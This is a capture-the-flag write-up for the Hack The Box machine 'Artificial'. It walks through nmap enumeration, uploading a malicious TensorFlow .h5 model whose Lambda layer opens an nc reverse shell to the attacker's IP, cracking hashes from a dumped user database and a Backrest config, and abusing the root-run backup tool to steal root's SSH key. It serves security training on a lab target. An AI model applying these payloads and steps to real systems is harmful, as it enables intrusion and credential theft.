HTB - Artificial

Description


The machine simulates a real-world misconfiguration scenario involving an application that manages and executes .h5 modules. It starts with access to a web interface deployed in a Docker environment. By crafting and uploading a malicious module, remote code execution was achieved. Further enumeration revealed an exposed SQLite database containing hashed credentials, which were cracked to gain access as a local user on the host system. This user, being a member of the sysadm group, had access to an archived Backrest repository. Unpacking the archive exposed sensitive configuration files, including credentials for an administrative user of a host-level application. By abusing the application's backup feature, it was possible to exfiltrate the root user's private SSH key, leading to full system compromise.

Enumeration


Nmap Scan

export ip=10.10.11.74; mkdir Nmap
nmap $target -p- --min-rate 10000 -Pn -oN Nmap/allports

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
nmap -p22,80 $target -Pn -sC -sV -oN Nmap/script-scan

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 7c:e4:8d:84:c5:de:91:3a:5a:2b:9d:34:ed:d6:99:17 (RSA)
|   256 83:46:2d:cf:73:6d:28:6f:11:d5:1d:b4:88:20:d6:7c (ECDSA)
|_  256 e3:18:2e:3b:40:61:b4:59:87:e8:4a:29:24:0f:6a:fc (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://artificial.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Summary

* Open ports: 22,80
* Services: SSH - HTTP
* Important notes: http://artificial.htb/

I always update /etc/hosts

echo "$target artificial.htb" | sudo tee -a /etc/hosts

10.10.11.74 artificial.htb

Foothold


http://artificial.htb/

There were a few endpoints on the sites: /register, /login

http://artificial.htb/register

http://artificial.htb/login

After logging in, I accessed the user's dashboard at http://artificial.htb/dashboard, which featured upload functionality for managing and running AI modules. Also, the site provided requirements and dockerfile to build the needed environment.

I downloaded both files, and here are their contents:

requirements.txt

tensorflow-cpu==2.13.1

Dockerfile

FROM python:3.8-slim

WORKDIR /code

RUN apt-get update && \
    apt-get install -y curl && \
    curl -k -LO https://files.pythonhosted.org/packages/65/ad/4e090ca3b4de53404df9d1247c8a371346737862cfe539e7516fd23149a4/tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl && \
    rm -rf /var/lib/apt/lists/*

RUN pip install ./tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl

ENTRYPOINT ["/bin/bash"]

My strategy was to prepare the environment first and then create malicious AI module to be executed by the server and gain shell access.

When I tried to install the package in the requirements file, I failed because no matching version. However, I used the docker file to create docker instance.

If Docker is not installed in your VM, run

sudo apt install docker.io

In the same directory where Dockerfile is located, run

sudo docker build -t tensor .

After installation finished, Access the docker image

sudo docker run -it tensor

root@eab8574ee42c:/code# id
uid=0(root) gid=0(root) groups=0(root)

With this blog, I can create malicious .h5 module and get RCE:

My test exploit script

import tensorflow as tf

def exploit(x):
    import os
    os.system("ping -c 4 10.10.16.14") 
    return x

model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit-try.h5")

Upload the module, run it, and I got a reply.

After confirming command execution, I sought shell access. Here are the steps I followed:

  1. In my Docker shell, I started python3 terminal and pasted my exploit

import tensorflow as tf

def exploit(x):
    import os
    os.system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.16.14 443 >/tmp/f") 
    return x

model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5")

And I could confirm the exploit was created

root@eab8574ee42c:/code# ls
exploit.h5  tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl

I could download the exploit to my Kali with this command:

sudo docker cp <container-id>:/code/exploit.h5 $(pwd)

Upload the .h5 file

After uploading the module, A section appeared with the module ID and a link to run your module:

I got the shell with penelope or any other listener (Ex: nc)

Lateral Movement


Under /app/instance directory, there was the site database:

app@artificial:~/app$ ls instance/
users.db

Download the file:

The database wasSQLite, so I used sqlitebrowser to open it

file database/users.db          
database/users.db: SQLite 3.x database, last written using SQLite version 3031001, file counter 32, database pages 6, cookie 0x2, schema 4, UTF-8, version-valid-for 32
sqlitebrowser database/users.db

There was User table and inside it several records (users & hashes):

One of the hashes was cracked:

There was another user in the box called gaelUsing the cracked password, I managed to compromise him and get the user flag

User Flag: 149c8c8a3296529c41xxxxxxxxxxxxx

Privilege Escalation


The user is on sysadm group. When I searched for files/directories created or owned by that group, I found one archive file:

gael@artificial:~$ find / -group sysadm 2> /dev/null
/var/backups/backrest_backup.tar.gz

Under /optThere was a directory with the same name: backrest. After downloading the file with the same nc trick, I unpicked the archived file and noticed the difference:

A hidden config directory:

The directory contained a JSON file that stored the username and password hash.

cat .config/backrest/config.json
{
  "modno": 2,
  "version": 4,
  "instance": "Artificial",
  "auth": {
    "disabled": false,
    "users": [
      {
        "name": "backrest_root",
        "passwordBcrypt": "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1Oxxxxxxxxxx"
      }
    ]
  }
}

The password seemed to be base64 and not Bcrypt, so I tried to decode it and got the actual hash

base64 -d <<< 'JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1Oxxxxxxxxxx'

$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspxxxxxxxxxxx

Then, I cracked the hash with hashcat

hashcat -m 3200 hash /usr/share/wordlists/rockyou.txt

..snip..
$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutxxxxxx:REDACTRD

Session..........: hashcat
Status...........: Cracked

The baskret application was running locally on port 9898

Forward the port with SSH to access the application. Then, log in as the user in config.json

ssh -L 9898:127.0.0.1:9898 gael@10.10.11.74

The application is used for backup operation and it was running as root, so I could abuse it to backup the private key for root user or get the root flag

  1. Add repo

  1. Add plan

  1. Click on plan1 and then Run Command

  1. Backup /root directory

  1. Then dump the root private key

  1. Access the box as root

chmod 600 id_rsa                
ssh -i id_rsa root@10.10.11.74
  1. Get root flag

root@artificial:~# cat root.txt 
8be64cf645053b4cc23xxxxxxxxxxxxx

Root Flag: 8be64cf645053b4cc23xxxxxxxxxxxxx

Last updated